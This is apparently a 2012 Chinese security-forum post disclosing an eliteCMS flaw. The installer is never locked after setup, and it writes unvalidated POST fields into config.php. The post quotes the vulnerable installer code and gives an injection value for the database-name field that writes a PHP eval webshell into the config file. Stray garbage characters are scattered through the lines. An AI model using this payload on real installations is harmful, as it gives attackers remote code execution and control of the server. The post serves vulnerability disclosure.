找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2154|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装0 z; u# h$ x9 p% c

0 y: C, o* T6 u6 f" @另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
. p- F+ f$ ?3 O: K! u& D我们来看代码:) R0 c. i# E6 O" P6 }

3 q3 i& {6 c7 i7 [9 W4 h...: [0 [- O0 U0 Y( N$ g
elseif ($_GET['step'] == "4") {
* l+ o* j0 q' A( t) L& E    $file = "../admin/includes/config.php";
* g) h5 m5 a% R$ }7 E. z  H, u    $write = "<?php\n";
/ D* u- P& T- h) ?8 Y% M4 F1 Z    $write .= "/**\n";& r# |% o3 L2 V
    $write .= "*\n";6 B+ P6 v7 C! J7 ]/ G& Q" ~2 m
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
9 x) Z% D: X" t2 s...略...
. h6 B- f3 S  K9 a) g    $write .= "*\n";* H, D1 C- x7 \
    $write .= "*/\n";2 W" i# F  Y; w; S
    $write .= "\n";# l! ^8 f+ _* `
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";9 Z+ Y# X3 q2 o  d2 l. Q
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";2 U" Z4 n7 n! {6 ?+ b  ~# `
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";9 Z2 Q& ^3 A. Z
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
- b. j. l+ [' v- l9 }  `# P    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";% m1 C6 C3 k: f+ @7 `+ p' v
    $write .= "if (!\$connection) {\n";7 I3 j4 W( V1 d/ q0 H" m4 a! p
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
# @, X7 ^  D* m5 Z4 ~" t    $write .= "        \n";  B4 U+ a3 \* C( K2 P
    $write .= "} \n";' U$ T2 n  m1 k+ M
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";, y- j, i0 R3 C5 X3 H2 R% c
    $write .= "if (!\$db_select) {\n";
# |: X1 y. ^2 i) o# m    $write .= "        die(\"Database select failed\" .mysql_error());\n";" T3 P3 `0 U* ?& ?5 I5 x
    $write .= "        \n";
* I, x: O5 K1 `" z. _    $write .= "} \n";  A  x/ n# z+ c) z: o. G& ?' I
    $write .= "?>\n";/ q$ W/ K! j8 K% ?/ Y. h1 J* |

. v% V) d& ]5 t    $writer = fopen($file, 'w');' I  Z; ^9 n# M3 ]
...
: L  V. f" w. I/ u
+ M9 e+ ?0 ?, E0 @+ _在看代码:
6 t( g. V- H5 J- @5 x
9 N* j) i! x/ N$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];7 E& L! h7 y2 ]$ ~& |6 v
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];3 P  \# s% z/ f9 f% y7 d$ U" Y
$_SESSION['DB_USER'] = $_POST['DB_USER'];
( V; z, ~( D( G7 D; T$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
, T! F  {2 m. Z; S6 U6 r- j
* r; t3 ?; M/ M  i7 I! K* G取值未作任何验证3 N! |% f' b6 o0 Y, X% n9 A- l( r* h0 |
如果将数据库名POST数据:
, e# _9 c4 o' C8 p  X  x- W ) W! n" c2 y9 \' m  ]' ~* l, K% d
"?><?php eval($_POST[c]);?><?php
' h3 H* g0 J  Z7 z, u6 Z ) {' a5 ^# w, u) x# w1 W0 D
将导致一句话后门写入/admin/includes/config.php
9 [; k  m$ P. S+ b% E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表